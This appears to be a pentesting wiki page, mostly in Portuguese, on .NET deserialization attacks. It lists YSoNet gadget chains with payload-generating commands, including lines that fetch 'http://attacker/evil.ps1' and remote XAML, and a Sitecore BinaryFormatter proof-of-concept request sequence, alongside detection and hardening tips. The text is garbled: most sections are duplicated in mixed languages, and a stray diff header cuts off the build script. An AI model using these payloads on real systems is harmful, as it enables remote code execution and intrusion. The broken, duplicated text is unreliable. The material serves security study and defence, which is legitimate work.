Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Corrompe o registro `DelegateSerializationHolder` para que, uma vez materializado, o delegate aponte para *qualquer* método fornecido pelo atacante (por exemplo, `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Abusa de `System.Workflow.ComponentModel.ActivitySurrogateSelector` para *contornar a filtragem de tipo .NET ≥4.8* e invocar diretamente o **construtor** de uma classe fornecida ou **compilar** um arquivo C# em tempo real | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Aproveita a **representação XML** legada de `System.Data.DataSet` para instanciar tipos arbitrários preenchendo os campos `<ColumnMapping>` / `<DataType>` (opcionalmente falsificando o assembly com `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Em tempos de execução habilitados para WPF (> .NET 5), encadeia getters de propriedades até alcançar `System.CodeDom.Compiler.CompilerResults`, então *compila* ou *carrega* um DLL fornecido com `-c` | `Json.NET` sem tipo, `MessagePack` sem tipo | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (revisão) | Usa WPF `System.Windows.Data.ObjectDataProvider` para chamar um método estático arbitrário com argumentos controlados. YSoNet adiciona uma variante conveniente `--xamlurl` para hospedar o XAML malicioso remotamente | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Incorpora `ScriptBlock` em `System.Management.Automation.PSObject` que é executado quando o PowerShell desserializa o objeto | Remoção do PowerShell, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
| **TypeConfuseDelegate** | Corrompe o registro `DelegateSerializationHolder` de modo que, uma vez materializado, o delegate aponte para *qualquer* método fornecido pelo atacante (p.ex. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Abusa de `System.Workflow.ComponentModel.ActivitySurrogateSelector` para *bypass .NET ≥4.8 type-filtering* e invocar diretamente o **construtor** de uma classe fornecida ou **compilar** um arquivo C# em tempo de execução | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Explora a representação **XML legado** de `System.Data.DataSet` para instanciar tipos arbitrários preenchendo os campos `<ColumnMapping>` / `<DataType>` (opcionalmente forjando a assembly com `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Em runtimes com WPF (> .NET 5) encadeia getters de propriedades até alcançar `System.CodeDom.Compiler.CompilerResults`, então *compila* ou *carrega* uma DLL fornecida com `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Usa o WPF `System.Windows.Data.ObjectDataProvider` para chamar um método estático arbitrário com argumentos controlados. YSoNet adiciona uma conveniente variante `--xamlurl` para hospedar o XAML malicioso remotamente | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Incorpora `ScriptBlock` em `System.Management.Automation.PSObject` que é executado quando o PowerShell desserializa o objeto | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Todos os payloads são **escritos para *stdout*** por padrão, tornando trivial canalizá-los para outras ferramentas (por exemplo, geradores de ViewState, codificadores base64, clientes HTTP).
> Todos os payloads são **escritos em *stdout*** por padrão, tornando trivial encaminhá-los (pipe) para outras ferramentas (p.ex. geradores de ViewState, encoders base64, clientes HTTP).
### Building / Installing YSoNet
Se não houver binários pré-compilados disponíveis em *Actions ➜ Artifacts* / *Releases*, a seguinte **linha de comando PowerShell** configurará um ambiente de build, clonará o repositório e compilará tudo em modo *Release*:
Se não houver binários pré-compilados em *Actions ➜ Artifacts* / *Releases*, o seguinte one-liner em **PowerShell** irá configurar um ambiente de build, clonar o repositório e compilar tudo no modo *Release*:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@ -216,17 +216,48 @@ cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
O `ysonet.exe` compilado pode ser encontrado em `ysonet/bin/Release/`.
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
### Detecção e Fortalecimento
* **Detectar** processos filhos inesperados de `w3wp.exe`, `PowerShell.exe` ou qualquer processo que deserializa dados fornecidos pelo usuário (por exemplo, `MessagePack`, `Json.NET`).
* Habilitar e **impor filtragem de tipo** (`TypeFilterLevel` = *Full*, `SurrogateSelector` personalizado, `SerializationBinder`, *etc.*) sempre que o legado `BinaryFormatter` / `NetDataContractSerializer` não puder ser removido.
* Sempre que possível, migrar para **`System.Text.Json`** ou **`DataContractJsonSerializer`** com conversores baseados em lista branca.
* Bloquear assemblies WPF perigosos (`PresentationFramework`, `System.Workflow.*`) de serem carregados em processos web que nunca deveriam precisar deles.
### Detecção & Hardening
* **Detecte** processos filhos inesperados de `w3wp.exe`, `PowerShell.exe`, ou qualquer processo que esteja desserializando dados fornecidos pelo usuário (por exemplo `MessagePack`, `Json.NET`).
* Habilite e **imponha type-filtering** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) sempre que o `BinaryFormatter` / `NetDataContractSerializer` legado não puder ser removido.
* Sempre que possível migre para **`System.Text.Json`** ou **`DataContractJsonSerializer`** com conversores baseados em whitelist.
* Bloqueie assemblies WPF perigosos (`PresentationFramework`, `System.Workflow.*`) de serem carregados em processos web que nunca deveriam precisar deles.
## Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Um sink .NET prático acessível em fluxos autenticados do Sitecore XP Content Editor:
- Sink API: `Sitecore.Convert.Base64ToObject(string)` envolve `new BinaryFormatter().Deserialize(...)`.
- Caminho de gatilho: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, que procura por um elemento irmão com `id="{iframeId}_inner"` e lê um atributo `value` que é tratado como dados serializados codificados em base64. O resultado é convertido para string e inserido no HTML.
Minimal end‑to‑end (authenticated):
```
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget: qualquer BinaryFormatter chain que retorna uma string (side‑effects executados durante a desserialização). Veja YSoNet/ysoserial.net para gerar payloads.
Para uma cadeia completa que começa pre‑auth com HTML cache poisoning em Sitecore e leva a este sink:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Referências
- [YSoNet – Gerador de Payload de Deserialização .NET](https://github.com/irsdl/ysonet)
- [ysoserial.net – ferramenta PoC original](https://github.com/pwntester/ysoserial.net)
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}